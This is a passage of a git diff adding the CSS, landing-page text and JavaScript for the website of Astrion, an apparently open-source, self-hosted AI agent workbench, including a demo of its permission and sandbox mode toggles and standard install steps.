#cc785c; + --code-bg: #262119; + --code-text: #f2ede2; + --ok: #4a8f5d; + --warn: #b8862e; + --untested: #b04a3c; + --rail-w: 60px; + --thread-w: 760px; + --composer-h: 108px; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +html { scroll-behavior: smooth; } + +body { + font-family: -apple-system, BlinkMacSystemFont, "PingFang SC", "Noto Sans SC", "Microsoft YaHei", sans-serif; + background: var(--bg); + color: var(--text); + font-size: 15.5px; + line-height: 1.85; + -webkit-font-smoothing: antialiased; +} + +::selection { background: rgba(204, 120, 92, 0.22); } + +code { + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 0.88em; + background: rgba(33, 29, 22, 0.06); + padding: 0.15em 0.45em; + border-radius: 5px; +} + +a { color: var(--accent); text-decoration: none; } +a:hover { text-decoration: underline; } + +/* ═══════ 左侧导航栏 ═══════ */ + +.rail { + position: fixed; + inset: 0 auto 0 0; + width: var(--rail-w); + background: var(--bg); + border-right: 1px solid var(--border); + display: flex; + flex-direction: column; + align-items: center; + padding: 14px 0; + gap: 4px; + z-index: 50; +} + +.rail-item { + position: relative; + width: 40px; + height: 40px; + display: flex; + align-items: center; + justify-content: center; + border-radius: 10px; + color: var(--text-2); + transition: background 0.15s ease, color 0.15s ease; +} + +.rail-item:hover { background: var(--bubble); color: var(--text); text-decoration: none; } + +.rail-item svg { + width: 19px; + height: 19px; + fill: none; + stroke: currentColor; + stroke-width: 1.6; + stroke-linecap: round; + stroke-linejoin: round; +} + +.rail-logo { margin-bottom: 12px; } +.rail-avatar { width: 26px; height: 26px; display: block; color: var(--text); } + +.rail-spacer { flex: 1; } + +.rail-tip { + position: absolute; + left: calc(100% + 10px); + top: 50%; + transform: translateY(-50%) translateX(-4px); + background: var(--text); + color: var(--bg); + font-size: 12px; + line-height: 1; + padding: 7px 10px; + border-radius: 7px; + white-space: nowrap; + opacity: 0; + pointer-events: none; + transition: opacity 0.15s ease, transform 0.15s ease; +} + +.rail-item:hover .rail-tip { opacity: 1; transform: translateY(-50%) translateX(0); } + +/* ═══════ 对话流主区 ═══════ */ + +.thread { + margin-left: var(--rail-w); + padding: 0 32px; +} + +.thread > * { max-width: var(--thread-w); margin-left: auto; margin-right: auto; } + +/* 滚动淡入 */ +.reveal { opacity: 0; transform: translateY(14px); transition: opacity 0.55s ease, transform 0.55s ease; } +.reveal.in { opacity: 1; transform: none; } +@media (prefers-reduced-motion: reduce) { + .reveal { opacity: 1; transform: none; transition: none; } +} + +/* ═══════ 开场(新对话引导页同构) ═══════ */ + +.opening { + min-height: 78vh; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + text-align: center; + padding: 64px 0 48px; +} + +.opening-avatar { width: 132px; height: 132px; margin-bottom: 36px; } + +.opening-line { + font-size: 34px; + font-weight: 600; + letter-spacing: 0.01em; + margin-bottom: 14px; +} + +.opening-sub { + font-size: 17px; + color: var(--text-2); + margin-bottom: 28px; +} + +.opening-forms { display: flex; gap: 10px; } + +.opening-forms span { + font-size: 12.5px; + color: var(--text-2); + border: 1px solid var(--border); + border-radius: 999px; + padding: 5px 14px; + background: var(--surface); +} + +.opening-forms em { font-style: normal; color: var(--accent); margin-left: 2px; } + +/* clone 命令行:安静、等宽、可复制 */ +.opening-clone { + margin-top: 22px; + display: inline-flex; + align-items: center; + gap: 12px; + background: var(--surface); + border: 1px solid var(--border); + border-radius: 10px; + padding: 9px 10px 9px 16px; +} + +.opening-clone code { + background: transparent; + padding: 0; + font-size: 12.8px; + color: var(--text-2); +} + +/* 复制按钮:固定尺寸,点击只换图标,绝不变宽 */ +.copy-btn { + flex-shrink: 0; + width: 28px; + height: 28px; + border: none; + border-radius: 7px; + background: transparent; + color: var(--text-2); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: background 0.15s ease, color 0.15s ease; +} + +.copy-btn:hover { background: var(--bubble); color: var(--text); } + +.copy-btn svg { + width: 14px; + height: 14px; + fill: none; + stroke: currentColor; + stroke-width: 1.8; + stroke-linecap: round; + stroke-linejoin: round; +} + +.copy-btn .icon-check { display: none; } +.copy-btn.copied { color: var(--ok); } +.copy-btn.copied .icon-copy { display: none; } +.copy-btn.copied .icon-check { display: block; } + +/* ═══════ 消息 ═══════ */ + +.msg { display: flex; margin-bottom: 36px; } + +.msg.user { justify-content: flex-end; margin-top: 72px; } + +.bubble { + background: var(--bubble); + border-radius: 16px 16px 5px 16px; + padding: 11px 18px; + font-size: 15.5px; + max-width: 72%; +} + +.msg.ai { align-items: flex-start; } + +.msg-avatar { + flex-shrink: 0; + width: 28px; + height: 28px; + margin: 6px 16px 0 0; + color: var(--text); +} + +.msg-body { flex: 1; min-width: 0; } +.msg-body > p + p { margin-top: 14px; } +.msg-body > p + .shot, +.msg-body > p + .switchboard, +.msg-body > p + .table-wrap, +.msg-body > p + .plain-list, +.msg-body > p + .cap-list, +.msg-body > p + .install, +.msg-body > p + .doc-list { margin-top: 20px; } + +.note { font-size: 13.5px; color: var(--text-2); margin-top: 16px; } + +/* 产品截图框 */ +.shot { + border: 1px solid var(--border); + border-radius: 12px; + overflow: hidden; + background: var(--surface); + box-shadow: 0 2px 14px rgba(33, 29, 22, 0.05); + margin: 20px 0 4px; +} + +.shot-bar { + display: flex; + align-items: center; + gap: 6px; + padding: 9px 14px; + border-bottom: 1px solid var(--border); + background: var(--bg); +} + +.shot-bar i { width: 9px; height: 9px; border-radius: 50%; background: var(--border); } +.shot-bar i:first-child { background: #e5a19a; } + +.shot-bar span { + margin-left: 8px; + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 11.5px; + color: var(--text-2); +} + +.shot img { display: block; width: 100%; } + +.shot-placeholder { + min-height: 160px; + display: flex; + align-items: center; + justify-content: center; + border-style: dashed; + box-shadow: none; + background: transparent; +} + +.shot-placeholder span { font-size: 13px; color: var(--text-2); } + +/* ═══════ 四组开关 ═══════ */ + +.switchboard { + background: var(--surface); + border: 1px solid var(--border); + border-radius: 12px; + padding: 22px 24px; +} + +.sw-row { + display: flex; + align-items: center; + flex-wrap: wrap; + gap: 8px; + padding: 10px 0; +} + +.sw-row + .sw-row { border-top: 1px solid var(--border); } + +.sw-label { + width: 64px; + flex-shrink: 0; + font-size: 13px; + color: var(--text-2); +} + +.sw-pill { + font: inherit; + font-size: 13.5px; + padding: 5px 15px; + border-radius: 999px; + border: 1px solid var(--border); + background: transparent; + color: var(--text-2); + cursor: pointer; + transition: all 0.15s ease; +} + +.sw-pill:hover { border-color: var(--text-2); color: var(--text); } + +.sw-pill.on { + background: var(--text); + border-color: var(--text); + color: var(--bg); +} + +/* verdict:等宽输出块,无任何装饰竖条 */ +.verdict { + width: 100%; + margin-top: 14px; + background: var(--code-bg); + color: var(--code-text); + border-radius: 10px; + padding: 16px 20px; + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 12.8px; + line-height: 1.8; + white-space: pre-wrap; + word-break: break-word; +} + +.verdict .v-dim { color: rgba(242, 237, 226, 0.45); } +.verdict .v-warn { color: #e0a899; } + +/* ═══════ 安全表格 ═══════ */ + +.table-wrap { + border: 1px solid var(--border); + border-radius: 12px; + overflow: hidden; + background: var(--surface); +} + +table { width: 100%; border-collapse: collapse; font-size: 14px; } + +th { + text-align: left; + font-weight: 500; + font-size: 12.5px; + color: var(--text-2); + padding: 12px 18px; + border-bottom: 1px solid var(--border); + background: var(--bg); +} + +td { padding: 13px 18px; border-bottom: 1px solid var(--border); vertical-align: top; } +tbody tr:last-child td { border-bottom: none; } +td:first-child { font-weight: 600; white-space: nowrap; } +td:nth-child(2) { font-family: ui-monospace, "SF Mono", Menlo, monospace; font-size: 12.5px; color: var(--text-2); white-space: nowrap; } + +.dot { + display: inline-block; + width: 7px; + height: 7px; + border-radius: 50%; + margin-right: 8px; + vertical-align: 1px; +} + +.dot.ok { background: var(--ok); } +.dot.warn { background: var(--warn); } +.dot.untested { background: var(--untested); } + +/* ═══════ 列表 ═══════ */ + +.plain-list, .cap-list { list-style: none; } + +.plain-list li { + padding: 10px 0; + font-size: 14.5px; + color: var(--text-2); +} + +.plain-list li + li { border-top: 1px solid var(--border); } +.plain-list strong { color: var(--text); font-weight: 600; margin-right: 4px; } + +.cap-list li { padding: 16px 0; } +.cap-list li + li { border-top: 1px solid var(--border); } + +.cap-list strong { display: block; font-size: 15.5px; font-weight: 600; margin-bottom: 5px; } +.cap-list span { display: block; font-size: 14.5px; color: var(--text-2); } + +.beta { + font-style: normal; + font-size: 10.5px; + font-weight: 600; + letter-spacing: 0.05em; + color: var(--accent); + border: 1px solid rgba(204, 120, 92, 0.4); + border-radius: 5px; + padding: 1.5px 6px; + margin-left: 6px; + vertical-align: 2px; +} + +/* ═══════ 安装 ═══════ */ + +.install { + border: 1px solid var(--border); + border-radius: 12px; + overflow: hidden; + background: var(--surface); +} + +.install-tabs { + display: flex; + border-bottom: 1px solid var(--border); + background: var(--bg); +} + +.install-tab { + font: inherit; + font-size: 13.5px; + padding: 11px 22px; + background: transparent; + border: none; + border-bottom: 2px solid transparent; + color: var(--text-2); + cursor: pointer; + margin-bottom: -1px; + transition: color 0.15s ease; +} + +.install-tab:hover { color: var(--text); } +.install-tab.on { color: var(--text); border-bottom-color: var(--accent); font-weight: 500; } + +.install-pane { padding: 4px; } +.install-pane.hidden { display: none; } + +.install-pane pre { + background: var(--code-bg); + color: var(--code-text); + border-radius: 10px; + margin: 12px; + padding: 18px 20px; + overflow-x: auto; + font-family: ui-monospace, "SF Mono", "JetBrains Mono", Menlo, monospace; + font-size: 13px; + line-height: 1.85; +} + +.install-pane pre code { + background: transparent; + padding: 0; + font-size: inherit; + color: inherit; +} + +.install-after { font-size: 13.5px; color: var(--text-2); padding: 0 16px 14px; } +.install-after code { font-size: 12px; } + +/* ═══════ 文档目录 ═══════ */ + +.doc-list { + border: 1px solid var(--border); + border-radius: 12px; + overflow: hidden; + background: var(--surface); +} + +.doc-list a { + display: flex; + align-items: baseline; + gap: 16px; + padding: 12px 20px; + color: var(--text); + font-size: 14.5px; + border-bottom: 1px solid var(--border); + transition: background 0.12s ease; +} + +.doc-list a:last-child { border-bottom: none; } +.doc-list a:hover { background: var(--bubble); text-decoration: none; } + +.doc-list a span { + font-family: ui-monospace, "SF Mono", Menlo, monospace; + font-size: 11.5px; + color: var(--text-2); + flex-shrink: 0; +} + +.doc-list .beta { margin-left: auto; } + +/* ═══════ 页脚 ═══════ */ + +.foot { + margin-top: 96px; + padding: 36px 0 calc(var(--composer-h) + 40px); + text-align: center; + font-size: 13px; + color: var(--text-2); +} + +.foot-note { margin-top: 6px; font-size: 12.5px; opacity: 0.75; } + +/* ═══════ 底部输入栏 ═══════ */ + +.composer { + position: fixed; + left: var(--rail-w); + right: 0; + bottom: 0; + z-index: 40; + padding: 14px 32px 16px; + background: linear-gradient(to bottom, rgba(250, 249, 245, 0), var(--bg) 28%); +} + +.composer-box { + max-width: var(--thread-w); + margin: 0 auto; + display: flex; + align-items: center; + gap: 12px; + background: var(--surface); + border: 1px solid var(--border); + border-radius: 16px; + padding: 10px 12px 10px 16px; + box-shadow: 0 2px 16px rgba(33, 29, 22, 0.07); +} + +.composer-avatar { flex-shrink: 0; width: 24px; height: 24px; color: var(--text); } + +.composer-box input { + flex: 1; + min-width: 0; + border: none; + outline: none; + background: transparent; + font: inherit; + font-size: 14.5px; + color: var(--text); +} + +.composer-box input::placeholder { color: var(--text-2); opacity: 0.6; } + +.composer-send { + flex-shrink: 0; + width: 34px; + height: 34px; + border: none; + border-radius: 10px; + background: var(--text); + color: var(--bg); + cursor: pointer; + display: flex; + align-items: center; + justify-content: center; + transition: opacity 0.15s ease; +} + +.composer-send:hover { opacity: 0.82; } + +.composer-send svg { + width: 15px; + height: 15px; + fill: none; + stroke: currentColor; + stroke-width: 1.8; + stroke-linecap: round; + stroke-linejoin: round; +} + +.composer-chips { + max-width: var(--thread-w); + margin: 9px auto 0; + display: flex; + gap: 7px; + flex-wrap: wrap; +} + +.composer-chips span { + font-size: 11.5px; + color: var(--text-2); + border: 1px solid var(--border); + background: var(--surface); + border-radius: 999px; + padding: 3px 11px; + cursor: default; +} + +/* ═══════ 窄屏 ═══════ */ + +@media (max-width: 720px) { + :root { --rail-w: 0px; --composer-h: 118px; } + + .rail { + inset: 0 0 auto 0; + width: auto; + height: 52px; + flex-direction: row; + border-right: none; + border-bottom: 1px solid var(--border); + padding: 0 12px; + overflow-x: auto; + } + + .rail-logo { margin-bottom: 0; margin-right: 6px; } + .rail-spacer { display: none; } + .rail-tip { display: none; } + .rail-item { flex-shrink: 0; } + + .thread { margin-left: 0; padding: 52px 20px 0; } + .opening { min-height: 62vh; } + .opening-line { font-size: 26px; } + .msg-avatar { margin-right: 12px; } + .bubble { max-width: 88%; } + .composer { left: 0; padding: 12px 16px 12px; } + .sw-label { width: 100%; margin-bottom: 2px; } + td:nth-child(2) { white-space: normal; } +} diff --git a/website-design/site/index.html b/website-design/site/index.html new file mode 100644 index 00000000..c4874e66 --- /dev/null +++ b/website-design/site/index.html @@ -0,0 +1,284 @@ + + + + + + Astrion —— 住在你机器上的智能体工作台 + + + + + + + + + + +
+ + +
+
+

你好,我是 Astrion。

+

一个住在你机器上的智能体工作台。

+
+ Web 界面 + CLI 开发中 + Android +
+
+ $ git clone https://github.com/JOJO6618/astrion.git + +
+
+ + +
+
你是什么?
+
+
+
+
+

Astrion 是一个运行在你自己机器上的智能体工作台:普通对话、多智能体团队、工作流与技能包。开源,自托管,数据不出本机——你的对话、文件和密钥都在你自己的磁盘上。

+
+
localhost:8091
+ Astrion 主界面(经典主题) +
+

上图是它的主界面。左侧栏底行即控制台:对话类型、运行模式、权限、执行环境,一眼可见、一点即切。中间的形象不只是会标——工作、思考、调用工具时都有实时表情。

+
+
+ + +
+
和别的智能体有什么不同?
+
+
+
+
+

行为边界被做成四组一眼可见的开关,而不是藏在文档里的注意事项。点一点,看看组合的含义:

+
+
+ 部署模式 + + +
+
+ 权限模式 + + + + +
+
+ 执行环境 + + +
+
+ 运行模式 + + + +
+
+
+

四组开关互相正交,唯一例外:计划模式会把权限与执行环境锁定为「只读 + 沙箱」,批准计划后自动转入执行。

+
+
+ + +
+
安全吗?
+
+
+
+
+

分两层说。第一层是命令隔离,不同平台能提供的强度不同——如实列出:

+
+ + + + + + + +
平台沙箱实现安全水位
WindowsWSL2完全数据隔离,需先安装 WSL2
macOSsandbox-exec能限制写入;文件系统全局可读,防不住数据泄露
Linuxbwrap + seccomp尚未实测,请勿依赖其隔离性
+
+

第二层是你的资产,与平台无关:

+
    +
  • 版本控制——每条你发出的消息打一个检查点,随时回溯。浅备份只追踪 write_file / edit_file 编辑过的文件。
  • +
  • 修改留痕——每次编辑落盘一份标准 diff,git apply 重做,git apply -R 撤销。
  • +
  • Git 状态栏——仓库状态实时可见,AI 的改动随时可查。
  • +
+
+
+ + +
+
会什么?
+
+
+
+
+
    +
  • + 多智能体团队 + Team Leader 带领一支有角色的团队:全栈工程师、代码评审、调研员、UI 操作、头脑风暴。分工协作、互相请教,每一步都向你汇报。预置 5 个角色,也可以自己写。 +
  • +
  • + 快捷窗口 + 对话区右侧的五个看板:待办、子智能体、后台命令、文件记录、工作流。任务进展、产物收取、失控终止,抬手就够到。 +
  • +
  • + 工作流与技能包 + 把流程沉淀为工作流,把经验沉淀为 Skill。内置 4 个工作流、12 个技能包;用得越久,它越懂你的章法。 +
  • +
  • + 目标模式 Beta + 给出一个长期目标,它自动一轮一轮推进:每轮自我评估,可配审核智能体把关,触顶或达成才停。 +
  • +
  • + MCP 扩展 + 通过 Model Context Protocol 接入外部工具服务;host 模式下对它说一句「帮我配置 xxx」即可装好。 +
  • +
  • + 实时终端 + 对话里直接跑命令、看输出,终端就在手边——这是效率设计,不是安全边界,安全由上面的开关负责。 +
  • +
+
+ 截图待补:多智能体团队运行中 +
+
+
+ + +
+
怎么开始?
+
+
+
+
+

三分钟。环境要求:Python 3.10+、Node.js 18+;docker 模式另需 Docker。

+
+
+ + +
+
+
# 1. 克隆
+git clone https://github.com/JOJO6618/astrion.git
+cd astrion
+
+# 2. 初始化向导:运行模式(选 host)→ 端口 → 管理员 → 模型
+./setup.sh
+
+# 3. 构建前端并启动
+npm install && npm run build
+./start.sh
+

打开 http://localhost:8091,剩下的交给向导。

+
+ +
+
+
+ + +
+
文档呢?
+
+ + + +
+ +
+

© 2026 Astrion · 开源 · GitHub

+

星之子,星际粒子。把人类意图传递到工具、文件与终端之间。

+
+
+ + +
+
+ + + +
+
+ 智能体 + 执行 + 版本控制 + 沙箱 +
+
+ + + + + diff --git a/website-design/site/js/main.js b/website-design/site/js/main.js new file mode 100644 index 00000000..ab84e985 --- /dev/null +++ b/website-design/site/js/main.js @@ -0,0 +1,180 @@ +/* Astrion 官网 —— 交互逻辑 */ + +(function () { + 'use strict'; + + /* ── 形象挂载 ── + hero / 输入栏:眨眼 + 鼠标追踪 + 消息头像 / 侧栏:只眨眼,不追踪(满屏眼睛跟鼠标会乱) */ + AstrionAvatar.mount(document.getElementById('heroAvatar'), { mode: 'idle', blink: true, track: true }); + AstrionAvatar.mount(document.getElementById('railAvatar'), { mode: 'idle', blink: true, track: false }); + AstrionAvatar.mount(document.getElementById('composerAvatar'), { mode: 'idle', blink: true, track: true }); + document.querySelectorAll('.msg-avatar[data-avatar]').forEach(function (el) { + AstrionAvatar.mount(el, { mode: 'idle', blink: true, track: false }); + }); + + /* ── 滚动淡入 ── */ + var io = new IntersectionObserver(function (entries) { + entries.forEach(function (e) { + if (e.isIntersecting) { + e.target.classList.add('in'); + io.unobserve(e.target); + } + }); + }, { threshold: 0.12 }); + document.querySelectorAll('.reveal').forEach(function (el) { io.observe(el); }); + + /* ── 四组开关 → verdict ── */ + var state = { deploy: 'host', perm: 'approval', exec: 'sandbox', work: 'plan' }; + + var VERDICT = { + deploy: { + host: '数据落在本机 ~/.astrion,命令跑在宿主机上', + docker: '每个用户的命令在独立 Docker 容器里执行' + }, + perm: { + readonly: 'AI 只能读,写操作被系统拒绝', + approval: '写操作先弹给你,逐次点头', + auto: '写操作由审核智能体把关', + unrestricted: '不做权限拦截' + }, + exec: { + sandbox: '命令约束在 OS 沙箱内', + direct: '命令直接跑在宿主机(高风险)' + }, + work: { + plan: 'AI 先出计划与你讨论,批准后转入执行', + ask: '先讨论,后开工', + execute: '自主开工,只在硬阻塞时提问' + } + }; + + var verdictEl = document.querySelector('#verdict code'); + + function renderVerdict() { + var line = VERDICT.deploy[state.deploy] + ';' + + VERDICT.exec[state.exec] + ';' + + VERDICT.perm[state.perm] + ';' + + VERDICT.work[state.work] + '。'; + var html = '$ astrion --explain\n> ' + line; + if (state.work === 'plan' && (state.perm !== 'readonly' || state.exec !== 'sandbox')) { + html += '\n;; 注意:计划模式生效时,权限与执行环境将被锁定为 只读 + 沙箱'; + } + verdictEl.innerHTML = html; + } + + document.querySelectorAll('.sw-row').forEach(function (row) { + var group = row.dataset.group; + row.querySelectorAll('.sw-pill').forEach(function (pill) { + pill.addEventListener('click', function () { + row.querySelectorAll('.sw-pill').forEach(function (p) { p.classList.remove('on'); }); + pill.classList.add('on'); + state[group] = pill.dataset.v; + renderVerdict(); + }); + }); + }); + renderVerdict(); + + /* ── 安装 tab ── */ + document.querySelectorAll('.install-tab').forEach(function (tab) { + tab.addEventListener('click', function () { + document.querySelectorAll('.install-tab').forEach(function (t) { t.classList.remove('on'); }); + tab.classList.add('on'); + var name = tab.dataset.tab; + document.querySelectorAll('.install-pane').forEach(function (pane) { + pane.classList.toggle('hidden', pane.dataset.pane !== name); + }); + }); + }); + + /* ── clone 命令复制(按钮固定尺寸,只换图标) ── */ + var cloneBtn = document.getElementById('cloneCopy'); + var cloneTimer = null; + cloneBtn.addEventListener('click', function () { + var text = 'git clone https://github.com/JOJO6618/astrion.git'; + function markCopied() { + cloneBtn.classList.add('copied'); + clearTimeout(cloneTimer); + cloneTimer = setTimeout(function () { cloneBtn.classList.remove('copied'); }, 1600); + } + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(text).then(markCopied, function () { fallbackCopy(text); markCopied(); }); + } else { + fallbackCopy(text); + markCopied(); + } + }); + + function fallbackCopy(text) { + var ta = document.createElement('textarea'); + ta.value = text; + ta.style.position = 'fixed'; + ta.style.opacity = '0'; + document.body.appendChild(ta); + ta.select(); + try { document.execCommand('copy'); } catch (e) {} + document.body.removeChild(ta); + } + + /* ── 文档链接(文档站未建,先拦截) ── */ + document.querySelectorAll('.doc-list a').forEach(function (a) { + a.addEventListener('click', function (e) { e.preventDefault(); }); + }); + + /* ── 输入栏彩蛋 ── */ + var input = document.getElementById('composerInput'); + var sendBtn = document.getElementById('composerSend'); + var anchor = document.getElementById('echo-anchor'); + var echoBusy = false; + + function scrollToBottom() { + window.scrollTo({ top: document.body.scrollHeight, behavior: 'smooth' }); + } + + function sendEcho() { + var text = input.value.trim(); + if (!text || echoBusy) return; + echoBusy = true; + + // 用户气泡 + var userMsg = document.createElement('div'); + userMsg.className = 'msg user'; + var bubble = document.createElement('div'); + bubble.className = 'bubble'; + bubble.textContent = text; + userMsg.appendChild(bubble); + anchor.before(userMsg); + + input.value = ''; + scrollToBottom(); + + // AI 思考中(think 表情) + var aiMsg = document.createElement('div'); + aiMsg.className = 'msg ai'; + var avatarHolder = document.createElement('div'); + avatarHolder.className = 'msg-avatar'; + aiMsg.appendChild(avatarHolder); + var body = document.createElement('div'); + body.className = 'msg-body'; + aiMsg.appendChild(body); + anchor.before(aiMsg); + + AstrionAvatar.mount(avatarHolder, { mode: 'think' }); + + setTimeout(function () { + avatarHolder.innerHTML = ''; + AstrionAvatar.mount(avatarHolder, { mode: 'idle', blink: true, track: false }); + var p = document.createElement('p'); + p.innerHTML = '这是演示环境,我不会真的执行。真的我住在你的机器上——克隆、初始化、启动,三分钟就能见面:git clone https://github.com/JOJO6618/astrion.git'; + body.appendChild(p); + scrollToBottom(); + echoBusy = false; + }, 1400); + } + + input.addEventListener('keydown', function (e) { + if (e.key === 'Enter') sendEcho(); + }); + sendBtn.addEventListener('click', sendEcho); +})(); diff --git a/website-design/v1-editorial/assets/product-main-classic.png b/website-design/v1-editorial/assets/product-main-classic.png new file mode 100644 index 00000000..f8290d25 Binary files /dev/null and b/website-design/v1-editorial/assets/product-main-classic.png differ diff --git a/website-design/v1-editorial/css/style.css b/website-design/v1-editorial/css/style.css new file mode 100644 index 00000000..5f07d736 --- /dev/null +++ b/website-design/v1-editorial/css/style.css @@ -0,0 +1,302 @@ +/* ============================================================ + Astrion 官网 · 版本一:奶油编辑风 + 星尘点缀 + ============================================================ */ +:root { + --paper: #faf9f5; + --card: #f5f1e8; + --ink: #1c1a16; + --ink-soft: #615a4e; + --line: #e3dccc; + --accent: #cc785c; + --accent-ink: #b25f44; + --serif: "Fraunces", "Noto Serif SC", "Songti SC", serif; + --sans: "Noto Sans SC", "PingFang SC", system-ui, sans-serif; + --mono: "IBM Plex Mono", "SF Mono", Menlo, monospace; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } +html { scroll-behavior: smooth; } +body { + background: var(--paper); + color: var(--ink); + font-family: var(--sans); + font-size: 16px; + line-height: 1.75; + overflow-x: hidden; +} +::selection { background: var(--accent); color: #fff; } +.mono { font-family: var(--mono); } +.hidden { display: none !important; } + +/* ---------- 星尘装饰 ---------- */ +.stardust { position: fixed; inset: 0; pointer-events: none; z-index: 0; } +.sd { + position: absolute; width: 3px; height: 3px; border-radius: 50%; + background: var(--accent); opacity: .35; + animation: sdrift 9s ease-in-out infinite alternate; +} +.sd-1 { top: 18%; left: 12%; animation-delay: 0s; } +.sd-2 { top: 30%; left: 84%; animation-delay: 1.4s; width: 2px; height: 2px; } +.sd-3 { top: 64%; left: 8%; animation-delay: 2.8s; } +.sd-4 { top: 76%; left: 90%; animation-delay: .8s; width: 2px; height: 2px; } +.sd-5 { top: 12%; left: 62%; animation-delay: 2s; } +.sd-6 { top: 88%; left: 40%; animation-delay: 3.6s; width: 2px; height: 2px; } +@keyframes sdrift { + from { transform: translateY(0); } + to { transform: translateY(-18px); } +} +.orbit { + position: absolute; top: -180px; left: 50%; transform: translateX(-50%); + width: 900px; color: #d9d0bc; opacity: .55; +} + +/* ---------- 入场动效 ---------- */ +.reveal { opacity: 0; transform: translateY(22px); transition: opacity .7s ease, transform .7s cubic-bezier(.2,.7,.2,1); } +.reveal.in { opacity: 1; transform: none; } +.reveal.d1 { transition-delay: .08s; } +.reveal.d2 { transition-delay: .16s; } +.reveal.d3 { transition-delay: .24s; } +.reveal.d4 { transition-delay: .32s; } + +/* ---------- 导航 ---------- */ +.nav { + position: sticky; top: 0; z-index: 20; + display: flex; align-items: center; gap: 36px; + padding: 18px 40px; + background: var(--paper); + border-bottom: 1px solid var(--line); +} +.brand { display: flex; align-items: center; gap: 12px; text-decoration: none; color: var(--ink); } +.brand-mark { width: 30px; height: 30px; } +.brand-mark .hex { fill: none; stroke: var(--ink); stroke-width: 9; } +.brand-mark .eye { stroke: var(--ink); stroke-width: 9; stroke-linecap: round; } +.brand-name { font-family: var(--serif); font-weight: 600; font-size: 21px; letter-spacing: .01em; } +.nav-links { display: flex; gap: 26px; margin-left: auto; } +.nav-links a { + color: var(--ink-soft); text-decoration: none; font-size: 14px; + transition: color .2s; +} +.nav-links a:hover { color: var(--accent-ink); } + +/* ---------- 按钮 ---------- */ +.btn { + display: inline-flex; align-items: center; gap: 8px; + border: 1px solid var(--ink); border-radius: 8px; + padding: 9px 18px; font-size: 14px; text-decoration: none; + font-family: var(--sans); cursor: pointer; + transition: background .2s, color .2s, transform .15s; + background: transparent; color: var(--ink); +} +.btn:active { transform: translateY(1px); } +.btn-dark { background: var(--ink); color: var(--paper); } +.btn-dark:hover { background: var(--accent-ink); border-color: var(--accent-ink); } +.btn-lg { padding: 13px 26px; font-size: 15px; border-radius: 10px; } + +/* ---------- Hero ---------- */ +.hero { + position: relative; z-index: 1; + max-width: 980px; margin: 0 auto; + padding: 110px 24px 60px; + text-align: center; +} +.eyebrow { + font-family: var(--mono); font-size: 13px; letter-spacing: .28em; + color: var(--accent-ink); margin-bottom: 30px; +} +.hero-title { + font-family: var(--serif); font-weight: 600; + font-size: clamp(44px, 7.4vw, 88px); + line-height: 1.18; letter-spacing: .01em; +} +.hero-title em { font-style: normal; color: var(--accent-ink); } +.hero-sub { + margin: 30px auto 0; max-width: 640px; + color: var(--ink-soft); font-size: 17px; +} +.hero-cta { + margin-top: 42px; + display: flex; justify-content: center; align-items: center; gap: 16px; flex-wrap: wrap; +} +.clone-chip { + display: inline-flex; align-items: center; gap: 14px; + border: 1px solid var(--line); background: var(--card); + border-radius: 10px; padding: 12px 16px; + font-size: 13.5px; color: var(--ink); cursor: pointer; + transition: border-color .2s; +} +.clone-chip:hover { border-color: var(--accent); } +.clone-chip .copy-hint { + font-size: 12px; color: var(--accent-ink); + border-left: 1px solid var(--line); padding-left: 12px; + font-family: var(--sans); +} +.clone-chip.copied .copy-hint { color: #3d7a4e; } +.form-chips { + margin-top: 40px; + display: flex; justify-content: center; align-items: center; gap: 10px; flex-wrap: wrap; +} +.chip-label { font-size: 12px; color: var(--ink-soft); margin-right: 4px; letter-spacing: .12em; } +.fchip { + border: 1px solid var(--line); border-radius: 999px; + padding: 5px 14px; font-size: 13px; color: var(--ink); + background: var(--paper); +} +.fchip i { font-style: normal; color: var(--accent-ink); font-size: 11.5px; margin-left: 4px; } + +/* ---------- 产品实拍 ---------- */ +.shot-section { position: relative; z-index: 1; max-width: 1060px; margin: 40px auto 0; padding: 0 24px; } +.browser-shot { + border: 1px solid var(--line); border-radius: 14px; overflow: hidden; + background: var(--card); + box-shadow: 0 24px 60px -32px rgba(60, 50, 35, .35); +} +.browser-bar { + display: flex; align-items: center; gap: 7px; + padding: 11px 16px; border-bottom: 1px solid var(--line); +} +.bdot { width: 10px; height: 10px; border-radius: 50%; background: var(--line); } +.bdot:first-child { background: #e2a08c; } +.browser-url { margin-left: 12px; font-size: 12px; color: var(--ink-soft); } +.browser-shot img { display: block; width: 100%; } +.shot-notes { display: flex; gap: 48px; margin-top: 26px; flex-wrap: wrap; } +.shot-notes .note { flex: 1 1 340px; font-size: 14.5px; color: var(--ink-soft); } +.shot-notes .note b { color: var(--accent-ink); font-family: var(--mono); font-weight: 500; margin-right: 6px; } + +/* ---------- 章节公共 ---------- */ +section { position: relative; z-index: 1; } +.sec-eyebrow { + font-size: 12.5px; letter-spacing: .3em; color: var(--accent-ink); + margin-bottom: 18px; +} +.sec-title { + font-family: var(--serif); font-weight: 600; + font-size: clamp(32px, 4.6vw, 54px); line-height: 1.25; +} +.sec-sub { color: var(--ink-soft); margin-top: 18px; max-width: 640px; } + +/* ---------- 模式演示 ---------- */ +.modes { max-width: 1060px; margin: 0 auto; padding: 140px 24px 0; } +.mode-board { + margin-top: 44px; + border: 1px solid var(--line); border-radius: 16px; + background: var(--card); padding: 34px 36px 28px; +} +.mode-group { + display: flex; align-items: center; gap: 10px; flex-wrap: wrap; + padding: 14px 0; border-bottom: 1px dashed var(--line); +} +.mode-group:last-of-type { border-bottom: none; } +.mg-label { width: 92px; font-size: 13px; color: var(--ink-soft); flex-shrink: 0; } +.mg-opt { + border: 1px solid var(--line); background: var(--paper); + border-radius: 8px; padding: 6px 15px; font-size: 13.5px; + font-family: var(--sans); color: var(--ink); cursor: pointer; + transition: all .18s; +} +.mg-opt:hover { border-color: var(--accent); } +.mg-opt.active { background: var(--ink); color: var(--paper); border-color: var(--ink); } +.mode-verdict { + margin-top: 24px; padding: 16px 20px; + border-left: 3px solid var(--accent); + background: var(--paper); border-radius: 0 10px 10px 0; + font-size: 15px; color: 